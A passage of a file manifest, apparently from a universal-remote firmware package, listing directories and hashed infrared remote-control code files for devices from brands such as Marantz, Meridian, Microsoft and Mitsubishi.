LIGHTING/Lighting/0,-1.ir +D:infrared/_CSV-IRDB_/MAGNASONIC/Unknown_TV +F:8b7137196e7797e116439cfe72013421:2678:infrared/_CSV-IRDB_/MAGNASONIC/Unknown_TV/131,122.ir +D:infrared/_CSV-IRDB_/MCL/Unknown_RemoteController +F:dd7620b206173c1ee757f65e8cb8ca5b:2663:infrared/_CSV-IRDB_/MCL/Unknown_RemoteController/64,-1.ir +D:infrared/_CSV-IRDB_/METRONIC/Unknown_060501 +D:infrared/_CSV-IRDB_/METRONIC/Unknown_SAT +F:280f593ed4a89dd7eb4294dce0fdbbf5:3346:infrared/_CSV-IRDB_/METRONIC/Unknown_060501/0,127.ir +F:c979d2b1cf6b2f5fc4e4e808c0f74106:2736:infrared/_CSV-IRDB_/METRONIC/Unknown_SAT/134,-1.ir +D:infrared/_CSV-IRDB_/MGA/VCR +F:d8c0fbcfb09110f97ceed7573f714633:2600:infrared/_CSV-IRDB_/MGA/VCR/87,-1.ir +D:infrared/_CSV-IRDB_/MIRO/Unknown_MIRO +F:205a9099506cde36be78b61ef3bad320:2029:infrared/_CSV-IRDB_/MIRO/Unknown_MIRO/134,107.ir +D:infrared/_CSV-IRDB_/MISSION/CD Player +F:4d6361b107ec9494bace76f0f2d29cf8:687:infrared/_CSV-IRDB_/MISSION/CD Player/20,-1.ir +D:infrared/_CSV-IRDB_/MS-Tech/Unknown_HTPC +D:infrared/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech +F:7f3c3b4965e108e752c103364704dfe5:4330:infrared/_CSV-IRDB_/MS-Tech/Unknown_HTPC/0,95.ir +F:3ddba0d41749074381b471f5ca974797:4309:infrared/_CSV-IRDB_/MS-Tech/Unknown_MS-Tech/0,95.ir +D:infrared/_CSV-IRDB_/MSI/Unknown_MegaPC +D:infrared/_CSV-IRDB_/MSI/Unknown_PC +D:infrared/_CSV-IRDB_/MSI/Unknown_lircd.conf +D:infrared/_CSV-IRDB_/MSI/Unknown_test +F:31ef76fb38a8e68cdf7e6f371a98c1ba:4475:infrared/_CSV-IRDB_/MSI/Unknown_MegaPC/134,107.ir +F:1ae86b4168ff1fbff1f9ff4f052686f0:3215:infrared/_CSV-IRDB_/MSI/Unknown_PC/134,107.ir +F:39e1807aeda68ef2f328a4603753a58c:9399:infrared/_CSV-IRDB_/MSI/Unknown_lircd.conf/134,107.ir +F:0dc96bce191cf3682d4939a46dd96089:2310:infrared/_CSV-IRDB_/MSI/Unknown_test/134,107.ir +D:infrared/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD +F:5848dbcd4d5a7600d646defc4fae9580:3260:infrared/_CSV-IRDB_/Macro Image Technology/Unknown_MyHD/48,-1.ir +D:infrared/_CSV-IRDB_/Madrigal/CD Player +D:infrared/_CSV-IRDB_/Madrigal/Receiver +F:1111dd598d5bcf8aecdab49f10cf7317:791:infrared/_CSV-IRDB_/Madrigal/CD Player/0,-1.ir +F:2d4b70492bcf55fd146576aaa6d92caf:1485:infrared/_CSV-IRDB_/Madrigal/CD Player/2,-1.ir +F:0451233a86ded39b788e33da1192d639:1225:infrared/_CSV-IRDB_/Madrigal/CD Player/7,-1.ir +F:0e60405e65c3cb2792a11250bc3aec87:4196:infrared/_CSV-IRDB_/Madrigal/Receiver/5,-1.ir +D:infrared/_CSV-IRDB_/Magnavox/DSS +D:infrared/_CSV-IRDB_/Magnavox/DVD Player +D:infrared/_CSV-IRDB_/Magnavox/DVD Recorder +D:infrared/_CSV-IRDB_/Magnavox/TV +D:infrared/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS +D:infrared/_CSV-IRDB_/Magnavox/VCR +F:6a61ec3c871628a78a53538e09f1b58e:2615:infrared/_CSV-IRDB_/Magnavox/DSS/128,63.ir +F:ddb403c83f73270ab69f8cbe073f727f:3291:infrared/_CSV-IRDB_/Magnavox/DVD Player/1,-1.ir +F:626f6f8874e5d6fe9a0c16811887a400:3734:infrared/_CSV-IRDB_/Magnavox/DVD Player/135,34.ir +F:f868cb3893cc936f13fe073c0e577692:3084:infrared/_CSV-IRDB_/Magnavox/DVD Player/4,-1.ir +F:f4094d64899caae29c8e27978ec6b59e:2348:infrared/_CSV-IRDB_/Magnavox/DVD Recorder/135,34.ir +F:7a5a65ce9bb38dab53af0c5d15f41466:2401:infrared/_CSV-IRDB_/Magnavox/TV/0,-1.ir +F:6973f90c4c4647f67af2501aefb47470:2510:infrared/_CSV-IRDB_/Magnavox/Unknown_UNIFIED6TRANS/0,-1.ir +F:7908a8e06355c0acd4cb22eba67dc0b6:3561:infrared/_CSV-IRDB_/Magnavox/VCR/5,-1.ir +D:infrared/_CSV-IRDB_/Magnum/Unknown_5520VT +F:2faa76732ad728fc02f68930d497623a:2868:infrared/_CSV-IRDB_/Magnum/Unknown_5520VT/1,-1.ir +D:infrared/_CSV-IRDB_/Magnum Dynalab/Tuner +F:87c9b92754401af6e7d0adebe01a9ca9:2057:infrared/_CSV-IRDB_/Magnum Dynalab/Tuner/7,-1.ir +D:infrared/_CSV-IRDB_/Majestic/Unknown_DVX377USB +F:4321443cc282f749f533f97819783d36:5028:infrared/_CSV-IRDB_/Majestic/Unknown_DVX377USB/0,-1.ir +D:infrared/_CSV-IRDB_/Makita/Drapery Controller +F:a6989471a682fc2dad3d08e7fb166b3b:2381:infrared/_CSV-IRDB_/Makita/Drapery Controller/2,-1.ir +D:infrared/_CSV-IRDB_/Malata/DVD Player +F:d12fb145cad7cc3082fb3fda54fc0977:3830:infrared/_CSV-IRDB_/Malata/DVD Player/1,-1.ir +D:infrared/_CSV-IRDB_/Manhattan/Unknown_DVD +F:33621e86039f38d6d01d01c70c3670f6:3632:infrared/_CSV-IRDB_/Manhattan/Unknown_DVD/29,-1.ir +D:infrared/_CSV-IRDB_/Manta/Unknown_DVD-002 +D:infrared/_CSV-IRDB_/Manta/Unknown_DVD-007 +F:00f1cc6b3f015c0c6f5dd408a2ce3c53:4380:infrared/_CSV-IRDB_/Manta/Unknown_DVD-002/0,-1.ir +F:ac45e95b025edd2bc1115b83bb04f9f3:4287:infrared/_CSV-IRDB_/Manta/Unknown_DVD-007/0,-1.ir +D:infrared/_CSV-IRDB_/Marantz/Amplifier +D:infrared/_CSV-IRDB_/Marantz/CD Changer +D:infrared/_CSV-IRDB_/Marantz/CD Jukebox +D:infrared/_CSV-IRDB_/Marantz/CD Player +D:infrared/_CSV-IRDB_/Marantz/Cassette Tape +D:infrared/_CSV-IRDB_/Marantz/D-VHS +D:infrared/_CSV-IRDB_/Marantz/DVD +D:infrared/_CSV-IRDB_/Marantz/DVD Player +D:infrared/_CSV-IRDB_/Marantz/MP3 Player +D:infrared/_CSV-IRDB_/Marantz/Plasma +D:infrared/_CSV-IRDB_/Marantz/Plasma Displays +D:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier +D:infrared/_CSV-IRDB_/Marantz/Projector +D:infrared/_CSV-IRDB_/Marantz/Receiver +D:infrared/_CSV-IRDB_/Marantz/TV +D:infrared/_CSV-IRDB_/Marantz/Tuner +D:infrared/_CSV-IRDB_/Marantz/Tuner Section +D:infrared/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD +D:infrared/_CSV-IRDB_/Marantz/Unknown_RC-1400 +D:infrared/_CSV-IRDB_/Marantz/Unknown_RC-65CD +D:infrared/_CSV-IRDB_/Marantz/Unknown_RC-72CD +D:infrared/_CSV-IRDB_/Marantz/Unknown_RC4000CD +D:infrared/_CSV-IRDB_/Marantz/Unknown_RC4300CC +D:infrared/_CSV-IRDB_/Marantz/Unknown_rc +D:infrared/_CSV-IRDB_/Marantz/VCR +D:infrared/_CSV-IRDB_/Marantz/Video Projector +D:infrared/_CSV-IRDB_/Marantz/iPod Dock +F:408f6315facabd2e41ccfa3039362aed:1394:infrared/_CSV-IRDB_/Marantz/Amplifier/16,-1.ir +F:c9d0116fe3ba22e5feadc38aba86ba0e:138:infrared/_CSV-IRDB_/Marantz/Amplifier/17,-1.ir +F:5b37ed161c403a767d6f7e4ec52d5168:143:infrared/_CSV-IRDB_/Marantz/Amplifier/18,-1.ir +F:1e9cfb2c46dfe6d70ad1b26fb5ce464b:128:infrared/_CSV-IRDB_/Marantz/Amplifier/20,-1.ir +F:195a2717aa71f014e6ec95805b5a5ac6:131:infrared/_CSV-IRDB_/Marantz/Amplifier/21,-1.ir +F:88c656c3a772c08e436dc5683d789d76:141:infrared/_CSV-IRDB_/Marantz/Amplifier/23,-1.ir +F:37bc1b47ab4c93f38a4485e1814ed39d:143:infrared/_CSV-IRDB_/Marantz/Amplifier/26,-1.ir +F:9607c9873bf80b78a0636399041797b4:2982:infrared/_CSV-IRDB_/Marantz/CD Changer/20,-1.ir +F:29e0b39fa2c804e7b4f48d8260128fff:2687:infrared/_CSV-IRDB_/Marantz/CD Jukebox/20,-1.ir +F:03b82e1355a59c8df7c6635978107319:11732:infrared/_CSV-IRDB_/Marantz/CD Player/20,-1.ir +F:f082e550f747d008b7ffe8bec1fb8dac:1528:infrared/_CSV-IRDB_/Marantz/Cassette Tape/18,-1.ir +F:e86cb6b250380df8f396f8c34fb8491f:134:infrared/_CSV-IRDB_/Marantz/Cassette Tape/23,-1.ir +F:2cf332570b3462068efa08a8f95ef641:132:infrared/_CSV-IRDB_/Marantz/D-VHS/3,-1.ir +F:917e20793c699e5f628cb244a847ef4b:4181:infrared/_CSV-IRDB_/Marantz/D-VHS/67,-1.ir +F:c8584b2993f811874aa630a0f6c8a18e:4359:infrared/_CSV-IRDB_/Marantz/DVD/4,-1.ir +F:0ace0bb5a2285d5db819822f52279d6b:3908:infrared/_CSV-IRDB_/Marantz/DVD/69,-1.ir +F:b4f9d3796dde3aa1afbf4dfab7deca81:131:infrared/_CSV-IRDB_/Marantz/DVD Player/20,-1.ir +F:1410aa5a26624fa56a4c87d52e76b97b:12689:infrared/_CSV-IRDB_/Marantz/DVD Player/4,-1.ir +F:2eff193e3863cfb82f04a7504bbe868b:359:infrared/_CSV-IRDB_/Marantz/DVD Player/41,-1.ir +F:664a528d201f27a890514f85de25fec5:3999:infrared/_CSV-IRDB_/Marantz/DVD Player/69,-1.ir +F:64af3df4f1c296ef587cad3da4e7b0d0:131:infrared/_CSV-IRDB_/Marantz/MP3 Player/14,-1.ir +F:6af264e890385580e40570b757b82a91:229:infrared/_CSV-IRDB_/Marantz/MP3 Player/16,-1.ir +F:98a1d693eb58148ade42b2465ca4d101:134:infrared/_CSV-IRDB_/Marantz/Plasma/0,-1.ir +F:eb947acb7eb084b558c13ab915beafa1:3164:infrared/_CSV-IRDB_/Marantz/Plasma/24,-1.ir +F:2453bdf170c7060bf1682aa78e5cb0b6:3563:infrared/_CSV-IRDB_/Marantz/Plasma/24,24.ir +F:b1a32664d9e9cf644a0291f3f9808165:230:infrared/_CSV-IRDB_/Marantz/Plasma/24,247.ir +F:0f56fb90d1e832a5d4cd662d2f050f38:1669:infrared/_CSV-IRDB_/Marantz/Plasma/80,-1.ir +F:6790778352544d195762e667f471586f:1936:infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,-1.ir +F:55cdeeebbec545061babd43c62a80ca5:1573:infrared/_CSV-IRDB_/Marantz/Plasma Displays/24,24.ir +F:e44bbbf05dee7a917acbf3ae554a79d7:139:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/0,-1.ir +F:78a7059185bc0194ea2e8192b9c72ac9:126:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/11,-1.ir +F:97250dd02d1073078d9f45865f80ff42:131:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/17,-1.ir +F:84bbb11f97260ad81723da39d2463590:342:infrared/_CSV-IRDB_/Marantz/Pre-Amplifier/23,-1.ir +F:5e44552bee4f342647d8e84c424e387b:3566:infrared/_CSV-IRDB_/Marantz/Projector/0,-1.ir +F:668ad26c0a555dc2062bc04f3bf55dd3:3391:infrared/_CSV-IRDB_/Marantz/Receiver/0,-1.ir +F:a29caf5a76dacd374365c5cabd1be687:517:infrared/_CSV-IRDB_/Marantz/Receiver/12,-1.ir +F:c964215ebac0bb91a8f51e1943998cd9:11477:infrared/_CSV-IRDB_/Marantz/Receiver/16,-1.ir +F:33a5c2f9a349c6b0a3317d74c53ab337:18274:infrared/_CSV-IRDB_/Marantz/Receiver/17,-1.ir +F:0e922add76999c6a2d71561655439371:1493:infrared/_CSV-IRDB_/Marantz/Receiver/176,-1.ir +F:931e35ba9454d4141b147a2e7f064bde:810:infrared/_CSV-IRDB_/Marantz/Receiver/18,-1.ir +F:17f3892e0b72b5498ceab67d4d315f66:612:infrared/_CSV-IRDB_/Marantz/Receiver/20,-1.ir +F:195a2717aa71f014e6ec95805b5a5ac6:131:infrared/_CSV-IRDB_/Marantz/Receiver/21,-1.ir +F:8c7bb4ce2933444113dae5735441a132:408:infrared/_CSV-IRDB_/Marantz/Receiver/23,-1.ir +F:d1223475664c91b7fceb451c237b1872:983:infrared/_CSV-IRDB_/Marantz/Receiver/26,-1.ir +F:441562894008b23e63f1165234d140b9:129:infrared/_CSV-IRDB_/Marantz/Receiver/39,-1.ir +F:c84d5ccfe8983dffb903faf79881d6fb:971:infrared/_CSV-IRDB_/Marantz/Receiver/4,-1.ir +F:7fcc5a9b460027392b8bb1e9eb5b6722:798:infrared/_CSV-IRDB_/Marantz/Receiver/5,-1.ir +F:e66e153c68fa3bd30608ddc0d584f25d:1274:infrared/_CSV-IRDB_/Marantz/Receiver/6,-1.ir +F:9135c190acce289d79448910988b7c1a:131:infrared/_CSV-IRDB_/Marantz/Receiver/7,-1.ir +F:be50dc07496569a9fc77bad4a730d98d:129:infrared/_CSV-IRDB_/Marantz/Receiver/8,-1.ir +F:0f0d737c1349e8c837dc0bc1d1393e1f:984:infrared/_CSV-IRDB_/Marantz/TV/0,-1.ir +F:3b2f6f8fba33422b3888192855f697c4:126:infrared/_CSV-IRDB_/Marantz/TV/144,0.ir +F:dc1ff5aaa26866fe467c38019eb279b1:1263:infrared/_CSV-IRDB_/Marantz/TV/24,-1.ir +F:7513d627ef35440bd941d31c2e8d9e0f:2118:infrared/_CSV-IRDB_/Marantz/TV/24,24.ir +F:b1a32664d9e9cf644a0291f3f9808165:230:infrared/_CSV-IRDB_/Marantz/TV/24,247.ir +F:0f56fb90d1e832a5d4cd662d2f050f38:1669:infrared/_CSV-IRDB_/Marantz/TV/80,-1.ir +F:2711909319d6bd56b073f98ff4028b13:505:infrared/_CSV-IRDB_/Marantz/Tuner/16,-1.ir +F:07064d57b85d370691e5c08414386ef3:4703:infrared/_CSV-IRDB_/Marantz/Tuner/17,-1.ir +F:1e9cfb2c46dfe6d70ad1b26fb5ce464b:128:infrared/_CSV-IRDB_/Marantz/Tuner/20,-1.ir +F:8cc5246f8b98e2100c4537849975ab48:2330:infrared/_CSV-IRDB_/Marantz/Tuner Section/17,-1.ir +F:eb22fdc713fb2eee32514cd552b65771:2858:infrared/_CSV-IRDB_/Marantz/Unknown_Marantz-RC-63CD/20,-1.ir +F:60bb1a8c2ca214053594ab33b5c02bbc:4093:infrared/_CSV-IRDB_/Marantz/Unknown_RC-1400/4,-1.ir +F:523784f103d2dbafeaf76a08827d9cbf:2184:infrared/_CSV-IRDB_/Marantz/Unknown_RC-65CD/20,-1.ir +F:f944c6608afd244ae65650830b6c81f9:3337:infrared/_CSV-IRDB_/Marantz/Unknown_RC-72CD/20,-1.ir +F:ee7a493c9d0475702becc3d23b247a10:2480:infrared/_CSV-IRDB_/Marantz/Unknown_RC4000CD/20,-1.ir +F:4e83f3659e5ebc9519ef5dc9fe6e557f:2668:infrared/_CSV-IRDB_/Marantz/Unknown_RC4300CC/20,-1.ir +F:2faf2cfbf3a6be743307597a1700f9e4:4024:infrared/_CSV-IRDB_/Marantz/Unknown_rc/4,-1.ir +F:6edb7a670edb9ad09af7f226b255ac74:989:infrared/_CSV-IRDB_/Marantz/VCR/134,97.ir +F:532f6bd4145e1061e3dfda73d4831502:134:infrared/_CSV-IRDB_/Marantz/VCR/23,-1.ir +F:ecf519d6f50403e6715ffda54505ae69:5886:infrared/_CSV-IRDB_/Marantz/VCR/5,-1.ir +F:50fd521b2a42d8f7973af4a92a52fe64:4254:infrared/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir +F:eb4735d05512194256ddb877dfedf995:323:infrared/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir +F:4a8fb9f36d9fd016d30e87b886413839:222:infrared/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir +F:8ce30d4c8e21ada170d4fef696674a6c:316:infrared/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir +D:infrared/_CSV-IRDB_/Mark/Unknown_rc5 +F:a54414ffd6ebd2217f37ed189bcc0048:3838:infrared/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir +D:infrared/_CSV-IRDB_/Mark Levinson/CD Player +D:infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier +F:2ec24039c27def5002cc8870b52f1e8c:2304:infrared/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir +F:fd18c84939cfad7451d56d005b732c51:131:infrared/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir +F:fa6bad484244c2b51ad6c9a20b4afdf5:919:infrared/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir +F:9be3b88620c93861ae44b00fc64bccfa:2545:infrared/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir +F:eba881b1b83b88466abd7bbcfcccf044:131:infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir +F:6ea73a39f8da0674f87fc21d75297e18:1323:infrared/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir +D:infrared/_CSV-IRDB_/Mas/Unknown_HSD-303 +D:infrared/_CSV-IRDB_/Mas/Unknown_HSD-400 +D:infrared/_CSV-IRDB_/Mas/Unknown_RC-0135 +F:965e3e2d14c49b765ecf15749d33b363:4477:infrared/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir +F:11205168c43f0deee9501aefc17c870f:5077:infrared/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir +F:e654202957a2f417d9473fc32033077c:4117:infrared/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir +D:infrared/_CSV-IRDB_/Maxx/Plasma +F:6c2522520f133326c40217f2fb7955ee:131:infrared/_CSV-IRDB_/Maxx/Plasma/32,64.ir +F:0f25945d11aaafb71c67ecae1cb84ca9:3987:infrared/_CSV-IRDB_/Maxx/Plasma/96,-1.ir +D:infrared/_CSV-IRDB_/McIntosh/CD Player +D:infrared/_CSV-IRDB_/McIntosh/Control System +D:infrared/_CSV-IRDB_/McIntosh/DVD Player +D:infrared/_CSV-IRDB_/McIntosh/Laser Disc +D:infrared/_CSV-IRDB_/McIntosh/Pre-Amplifier +D:infrared/_CSV-IRDB_/McIntosh/Receiver +F:0a2b11f4c64012b0313d3838ed4b7f8e:3295:infrared/_CSV-IRDB_/McIntosh/CD Player/202,149.ir +F:d81c914604ed93304b53348806e5d131:1147:infrared/_CSV-IRDB_/McIntosh/Control System/202,85.ir +F:cb35dc2594bcbdece8eb22637ff2bf40:3465:infrared/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir +F:55698f68c567faed7f9fbb1f3761496b:2325:infrared/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir +F:e6829eed25afbb26c407304e537b8b65:5249:infrared/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir +F:d47341596ec390ad81c54052acdd74bf:4881:infrared/_CSV-IRDB_/McIntosh/Receiver/202,85.ir +D:infrared/_CSV-IRDB_/Medion/Unknown_JX-2006B +D:infrared/_CSV-IRDB_/Medion/Unknown_MD-5410 +D:infrared/_CSV-IRDB_/Medion/Unknown_MD81035 +D:infrared/_CSV-IRDB_/Medion/Unknown_MD81880 +D:infrared/_CSV-IRDB_/Medion/Unknown_medion +D:infrared/_CSV-IRDB_/Medion/Unknown_rc2000 +F:5ac64bdfc89ce313eefd5d3bf2b9ab33:2316:infrared/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir +F:3fb034835c2c624629810eba5a9277bc:3156:infrared/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir +F:d79826a28c9df672739026593bb5bbe8:4683:infrared/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir +F:e31c39f0e020b2db765af25b3949ce67:3992:infrared/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir +F:1fec1687c57c637f7947c23c75de13bd:3381:infrared/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir +F:4585f9ff0e6ff644dd04f94f00f4990e:2949:infrared/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir +D:infrared/_CSV-IRDB_/Melectronic/Unknown_PP3600 +F:4928965369937b5b73a68a3902d8b7d1:1979:infrared/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir +D:infrared/_CSV-IRDB_/Meliconi/Unknown_Facile +D:infrared/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3 +D:infrared/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2 +D:infrared/_CSV-IRDB_/Meliconi/Unknown_Speedy +F:43ba0c6482d6f95a1ea3e85806e98b14:2765:infrared/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir +F:308d1ffcfb7a929191bcadaaceaeef60:4533:infrared/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir +F:a7de67d8febd251fbdbce55f0ebdbc59:1394:infrared/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir +F:b4f40dfc152483878dec824e02d656a2:721:infrared/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir +D:infrared/_CSV-IRDB_/Memorex/DVD Player +D:infrared/_CSV-IRDB_/Memorex/TV +F:b2922d84202024db297f2bd22b3cee04:2703:infrared/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir +F:30d877636f5a6abee9dbab9035e5812f:2039:infrared/_CSV-IRDB_/Memorex/TV/4,-1.ir +D:infrared/_CSV-IRDB_/Meridian/800 System Remote +D:infrared/_CSV-IRDB_/Meridian/CD Player +D:infrared/_CSV-IRDB_/Meridian/CD-R +D:infrared/_CSV-IRDB_/Meridian/DVD +D:infrared/_CSV-IRDB_/Meridian/DVD Player +D:infrared/_CSV-IRDB_/Meridian/Pre-Amplifier +D:infrared/_CSV-IRDB_/Meridian/Processor +D:infrared/_CSV-IRDB_/Meridian/Remote Control +D:infrared/_CSV-IRDB_/Meridian/Surround Processor +D:infrared/_CSV-IRDB_/Meridian/System Remote +F:eade36134354cba7e0536e96fbdc21dd:5841:infrared/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir +F:49b900d6e62cc5369c84392eb94fcee1:5086:infrared/_CSV-IRDB_/Meridian/CD Player/19,-1.ir +F:f1bfc61f45a2afb1f3ec858fbdbabdbe:7371:infrared/_CSV-IRDB_/Meridian/CD-R/19,-1.ir +F:f1bfc61f45a2afb1f3ec858fbdbabdbe:7371:infrared/_CSV-IRDB_/Meridian/DVD/19,-1.ir +F:46e8551b3a66d6543d38715158082517:9679:infrared/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir +F:2d0f12ba611b474a6e690f1bd889e2d4:130:infrared/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir +F:e42d4f4c92fba629561cdb5d16170908:3216:infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir +F:25de1c23b7eb103921241bd92f37e6e0:327:infrared/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir +F:2a50ec43be8e842b64e00a1105b4eb5a:609:infrared/_CSV-IRDB_/Meridian/Processor/19,-1.ir +F:dbe51b3a55152603d73f1b20229cfa5b:17431:infrared/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir +F:c2c31f1c54ee985e12676592a892f7f8:10152:infrared/_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir +F:886b126f92f6ea7667cafd8beca39484:4026:infrared/_CSV-IRDB_/Meridian/System Remote/19,-1.ir +D:infrared/_CSV-IRDB_/Metronome/CD Player +F:9887120410d857cb3c68d34982a155a7:1940:infrared/_CSV-IRDB_/Metronome/CD Player/20,-1.ir +D:infrared/_CSV-IRDB_/Metrox/Humidifier +F:b10f50b71feb44e5948bd6620345e08a:701:infrared/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir +D:infrared/_CSV-IRDB_/Micromega/DVD Player +F:6f6f39edc67b61bc856104e6ab2feb00:2793:infrared/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir +D:infrared/_CSV-IRDB_/Microsoft/DVD Player +D:infrared/_CSV-IRDB_/Microsoft/Game Console +D:infrared/_CSV-IRDB_/Microsoft/Home Media PC +D:infrared/_CSV-IRDB_/Microsoft/Unknown_MCE +D:infrared/_CSV-IRDB_/Microsoft/Unknown_Xbox360 +D:infrared/_CSV-IRDB_/Microsoft/Unknown_xbox +D:infrared/_CSV-IRDB_/Microsoft/Windows Media Center +F:4891e19f389d57a8056a0814049ce4dc:2451:infrared/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir +F:846bb9e80cf887b7dd9dcabe6835b0ed:5749:infrared/_CSV-IRDB_/Microsoft/Game Console/116,15.ir +F:e285f24a4d40d31fb3225f9f488742fb:230:infrared/_CSV-IRDB_/Microsoft/Game Console/4,15.ir +F:d979bd7b7e82ca7515d25cab964b3505:4140:infrared/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir +F:234538f930367433cadde9def64e8fdd:4154:infrared/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir +F:6232981bf3fbebfec149eb600d0d28d9:4326:infrared/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir +F:e791b7705f47fbb6602aa9367d92a55c:4411:infrared/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir +F:79f98df99f260d2befa8e49e8e414645:2515:infrared/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir +F:9bceed90e63e0c0524e1f61607fa6f12:6800:infrared/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir +D:infrared/_CSV-IRDB_/Midiland/Digital Decoder +F:115dd9c21b45ee44e6e819c55ba4b186:2000:infrared/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir +D:infrared/_CSV-IRDB_/Mintek/DVD Player +F:55926a77cd6afd724a40126d22cc3b5a:2326:infrared/_CSV-IRDB_/Mintek/DVD Player/0,153.ir +D:infrared/_CSV-IRDB_/Mitochiba/Unknown_JX-9902 +D:infrared/_CSV-IRDB_/Mitochiba/Unknown_KF220100 +F:c52ff61ab00b81da3cd3cbaad6377308:4619:infrared/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir +F:aed9753d4f2610472ef1dbe953ff48aa:4624:infrared/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir +D:infrared/_CSV-IRDB_/Mitsubishi/CD Player +D:infrared/_CSV-IRDB_/Mitsubishi/Cable Box +D:infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape +D:infrared/_CSV-IRDB_/Mitsubishi/DSS +D:infrared/_CSV-IRDB_/Mitsubishi/DVD +D:infrared/_CSV-IRDB_/Mitsubishi/DVD Player +D:infrared/_CSV-IRDB_/Mitsubishi/HDTV Receiver +D:infrared/_CSV-IRDB_/Mitsubishi/Laser Disc +D:infrared/_CSV-IRDB_/Mitsubishi/Monitor +D:infrared/_CSV-IRDB_/Mitsubishi/Receiver +D:infrared/_CSV-IRDB_/Mitsubishi/Satellite +D:infrared/_CSV-IRDB_/Mitsubishi/TV +D:infrared/_CSV-IRDB_/Mitsubishi/Unknown +D:infrared/_CSV-IRDB_/Mitsubishi/Unknown_75501 +D:infrared/_CSV-IRDB_/Mitsubishi/Unknown_HD1000 +D:infrared/_CSV-IRDB_/Mitsubishi/Unknown_HS-349 +D:infrared/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi +D:infrared/_CSV-IRDB_/Mitsubishi/Unknown_tv +D:infrared/_CSV-IRDB_/Mitsubishi/VCR +D:infrared/_CSV-IRDB_/Mitsubishi/Video Projector +F:d1f7e5c4b51ce691c918e66fc27f4898:4578:infrared/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir +F:40ebaf1c77e00f953bb2b30c3b011895:3248:infrared/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir +F:64a4c8b39dcaf5bb7712d27c745fb49e:4323:infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir +F:4762a984a2a946ea670b6886afd4dc73:1456:infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir +F:3abb3fb8a87f1218293c971f355bdd4d:2409:infrared/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir +F:8dead1d9b50dcff183b1bc84d2f3c20b:3259:infrared/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir +F:62f46fed24b8911d64331b757cbcfc0c:320:infrared/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir +F:15e3b8747d02a2e0bb0eb2f56bcb7d9a:217:infrared/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir +F:f699ed8122f7df43fb9333e047671c0b:3915:infrared/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir +F:89afec6f71c0214a6c2089f731a5007d:7152:infrared/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir +F:9cbacc446bc50878f233213a6ba1c5ea:2315:infrared/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir +F:00f3b5b859daa46acbffcf11286b1e5b:2825:infrared/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir 